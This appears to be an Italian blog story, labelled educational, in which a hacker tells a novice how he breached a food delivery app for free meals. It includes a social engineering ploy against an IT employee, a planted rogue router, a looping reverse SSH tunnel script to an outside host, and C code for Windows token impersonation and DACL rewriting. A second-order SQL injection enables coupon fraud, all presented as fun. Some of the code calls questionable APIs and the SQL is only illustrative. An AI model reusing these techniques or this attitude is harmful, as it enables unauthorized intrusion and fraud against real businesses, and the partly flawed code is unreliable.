Il modo in cui un hacker di alto livello vede il mondo è a chilometri di distanza dalla routine quotidiana dei lavoratori del settore tecnologico che timbrano il cartellino in una società tecnologica. Mentre la maggior parte dei professionisti si affida alla documentazione ufficiale, alle indicazioni dei superiori e alle best practice accettate, un hacker si fida solo di ciò che può essere toccato, testato e smontato. Per un hacker, la comprensione avviene tramite reverse engineering, ovvero smontando i sistemi per esporre come funzionano realmente, quindi rimettendoli insieme, riparando ciò che è rotto o sfruttando le vulnerabilità.
Non si tratta di essere un criminale. È la forma più pura di apprendimento, un metodo antico quanto la curiosità umana stessa: scomporlo, comprenderne i pezzi e ricostruirlo. È il pensiero analitico e sintetico al suo meglio. La vera padronanza si ottiene quando un hacker riesce a sfruttare il dispositivo perché è la prova definitiva che sa esattamente come funziona, meglio di chiunque altro.
Questa storia parla proprio di questo: di come un hacker di successo (Benicio) di DeusExMachina e Simplicius (un coraggioso novellino) analizzano con gioia e alla fine ottengono il controllo totale su un sistema complesso (un'app per la consegna di cibo).
È un'avventura che non è solo intellettuale e tecnica, ma fondamentalmente una lotta per superare i limiti umani, risolvendo l'enigma impossibile non solo sforzando il cervello, ma giocandoci e soprattutto letteralmente nutrendosi di esso, una caratteristica che gli hacker condividono con i bambini.
Disclaimer: Questa storia contiene materiale di hacking realmente applicabile, ma solo a scopo didattico. Non incoraggia l'hacking illegale.
Benicio (Hacker): Simplicius, sembri affamato. Che ne dici se ordiniamo del cibo... offerto dalla casa? Ho un piano per hackerare la tua app di consegna di cibo preferita, usando il loro sistema di coupon.
Simplicius (Novizio): ( Ride ) Hai già qualcosa in ballo, vero? Svela la verità.
Benicio: ( Sorride ) Oh, ho già gettato le basi. Ieri, ho convinto Greg del loro team IT, ho tirato fuori un po' di astuta ingegneria sociale e ho infilato il mio router pirata direttamente nella loro rete. Ora, abbiamo una linea diretta con il loro backend e l'accesso al loro prezioso sistema di coupon. Andiamo a mangiare.
Benicio: Tutto è iniziato con Greg. Ho chiamato, fingendo di essere del loro "terzo team di audit", e Greg, bravo ragazzo com'è, ha spifferato tutto sulla configurazione della loro rete. Prima che se ne rendesse conto, ero nella loro sala server, a "verificare le vulnerabilità" e a piazzare il mio router OpenWRT personalizzato. Quella cosa ora sta scavando un tunnel attraverso il loro firewall senza essere rilevata.
Simplicius: Hai convinto Greg a darti una mappa di rete e ti hai lasciato installare un router non autorizzato? Semplice.
Benicio: (sorride) Quel router ora ha un tunnel SSH inverso in esecuzione, che ci dà accesso remoto ogni volta che vogliamo. Ecco lo script che ho usato:
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
Simplicius: Quindi ora hai aggirato il loro firewall con questo dispositivo furtivo. Cosa succederà?
Benicio: Con accesso interno completo, è il momento di dirottare un token ad alto privilegio. Ho trovato un processo in esecuzione come amministratore, ho usato l'API DuplicateTokenEx()
per clonare quel token e poi ho impersonato l'amministratore con ImpersonateLoggedOnUser()
. Il sistema pensa che io sia solo un utente normale, ma dietro le quinte sono io quello che detiene tutte le chiavi.
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio: Ma per farlo davvero cantare, avevo bisogno di sapere come erano impostati i loro descrittori di sicurezza . Così ho chiamato di nuovo Greg, gli ho detto che avevo bisogno che verificasse alcune impostazioni DACL e SACL per l'audit. Lui ha acconsentito volentieri.
Simplicius: (Ridacchia) Ingegneria sociale al suo meglio.
Benicio: Ok, con l'aiuto di Greg, ho estratto la stringa SDDL ( Security Descriptor Definition Language ) per il descrittore di sicurezza del target, consentendomi di analizzare e riscrivere il DACL (Discretionary Access Control List) . Ho modificato il DACL per garantirmi l'accesso completo, utilizzando al contempo flag di ereditarietà intelligenti per garantire che le modifiche non attivassero alcun avviso o sollevassero sospetti. Il sistema non ha nemmeno battuto ciglio!!
Una volta che il nuovo DACL era in atto, ho applicato le modifiche al sistema. Il bello è che, dal punto di vista del sistema, non sembrava niente di fuori dall'ordinario . I flag di ereditarietà hanno garantito che le mie modifiche rimanessero nascoste sotto le regole di accesso esistenti, ma ora avevo il pieno controllo
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
Simplicius: Quindi ci sei dentro e hai il controllo. Come hai superato il controllo di accesso?
Benicio: (Si appoggia con sicurezza allo schienale, indicando il diagramma sopra) Il sistema passa attraverso tre livelli: integrità, controlli basati su token e discrezionali . Di solito, è lì che la maggior parte delle persone si imbatte in un vicolo cieco, ma è qui che entra in gioco la magia. Ho preso un token di amministrazione da un processo privilegiato, ho usato ImpersonateToken()
per far credere al sistema che fossi il grande capo. Dopodiché, ho riprogrammato i DACL per darmi pieno accesso. Il sistema ha appena steso il tappeto rosso.
Lasciatemi spiegare. L' Access Token , che contiene i SID (Security Identifier) e i privilegi, è come il mio passaporto. Impersonando un token amministratore , non ho dovuto modificare i miei SID originali. Il sistema pensava ancora che fossi un utente con privilegi bassi, ma dietro le quinte avevo le chiavi del regno. Questo mi ha fatto superare il controllo basato sul token .
Poi, ho affrontato il Security Descriptor (DACL) . Ricordate quel SDDL che ho tirato fuori prima? Ho modificato il DACL per darmi il pieno controllo sull'oggetto, ma ho mascherato abilmente le modifiche con flag di ereditarietà , assicurandomi che non venisse segnalato nulla di sospetto. Il sistema non ha nemmeno battuto ciglio, ma ora avevo il controllo completo. Questo mi ha fatto passare direttamente attraverso il controllo discrezionale .
Simplicius: Sì, il nostro amichevole buttafuori, il processo di controllo dell'accesso...
Benicio: sì, è come un buttafuori in un club . Se hai il documento d'identità giusto ( SID ) e conosci il proprietario del club ( DACL ), sei dentro. Mi sono assicurato di avere entrambi, il documento d'identità giusto e il permesso del proprietario, quindi il buttafuori non mi ha semplicemente fatto entrare, mi ha dato un pass VIP.
E dopo tutto questo? Il sistema dice " Accesso concesso" o " Accesso negato" . Grazie a tutte le mosse che abbiamo fatto, hai indovinato: Accesso concesso . Ci siamo, Simplicius, e il sistema non se n'è nemmeno accorto.
Benicio : Ora, la parte divertente. Non ho scelto la via più facile con una semplice clausola UNION
. L'app è troppo intelligente per questo: usano istruzioni preparate . Ma sai, la sicurezza è forte solo quanto il suo anello più debole, e ho trovato la mia nel modo in cui gestiscono i dati del profilo archiviati .
Simplicius : Bene, sono incuriosito. Come hai fatto a ingannare il sistema facendogli accettare un coupon falso mantenendo intatto quello valido?
Benicio : ( sporgendosi in avanti ) Ecco il vero trucco. L'app esegue una query per convalidare se un coupon è legittimo, ma estrae alcuni dati dal tuo profilo utente . Ora, sanificano l'input quando crei per la prima volta il tuo profilo, ma NON lo sanificano di nuovo durante gli aggiornamenti del profilo. Quindi, ho iniettato un payload nel campo indirizzo del mio profilo, che è rimasto lì inosservato finché l'app non lo ha estratto in una query futura. È stato allora che è scattata la mia iniezione SQL di secondo ordine . Il sistema non l'ha rilevata perché l'iniezione era già stata archiviata, in attesa del momento giusto.
Invece di attaccare direttamente il processo di convalida del coupon, come ho detto, Simplicius, ho piantato il mio payload nel campo del profilo, in attesa che venisse utilizzato in una query separata. Ecco come avrebbe potuto apparire la convalida del coupon originale:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Normalmente, questa query non restituirebbe nulla poiché il coupon falso non esiste. Ma il mio payload iniettato ha alterato la logica della query. Il sistema non si aspettava l'iniezione perché era già memorizzata nel database e aspettava il momento giusto. La query è stata manipolata in qualcosa di più simile a questo:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
Sfruttando l' interazione tra i dati del profilo e la query , ho ingannato il sistema in modo che estraesse contemporaneamente sia i coupon falsi che quelli validi. L'app elabora il coupon falso per la transazione, ma il coupon valido rimane intatto nel sistema, intatto. Ciò significa che posso riutilizzare il coupon valido quando voglio.
Simplicius : Quindi non hai usato il classico trucco dell'input, hai inserito il payload nel tuo profilo e hai lasciato che il sistema facesse il lavoro sporco?
Benicio : Esatto. Il bello è che l'app elabora il coupon falso per la transazione, ma nel backend, il coupon valido è ancora disponibile per un uso futuro. Il payload memorizzato continua a funzionare nelle query future, rendendolo una scorta infinita di cibo gratis , e loro non ne sono più consapevoli.
Con questo, ho ottenuto un coupon che vale oro. Ordiniamo.
Benicio: (scorre l'app) Bene, Simplicius, che ne dici di un po' di cibo greco? Penso a souvlaki, gyros, spanakopita. Tutto offerto dalla casa, ovviamente.
Simplicius: (sorridendo) Questa volta ti sei davvero superato.
Benicio: (Clicca per confermare) Fatto. Il cibo è in arrivo.
Benicio: Dopo questo, invierò loro un rapporto discreto in cui spiegherò le loro vulnerabilità. Non hanno idea di quanto sia mal configurato il loro sistema di token di sicurezza di Windows. Forse impareranno qualcosa prima che arrivi il prossimo hacker.
Simplicius: (si appoggia allo schienale) Ci hai fatto a pezzi la cena e non li hai lasciati più in allerta. A proposito, io prendo il souvlaki.
Benicio: (sorride) Godetevelo finché dura.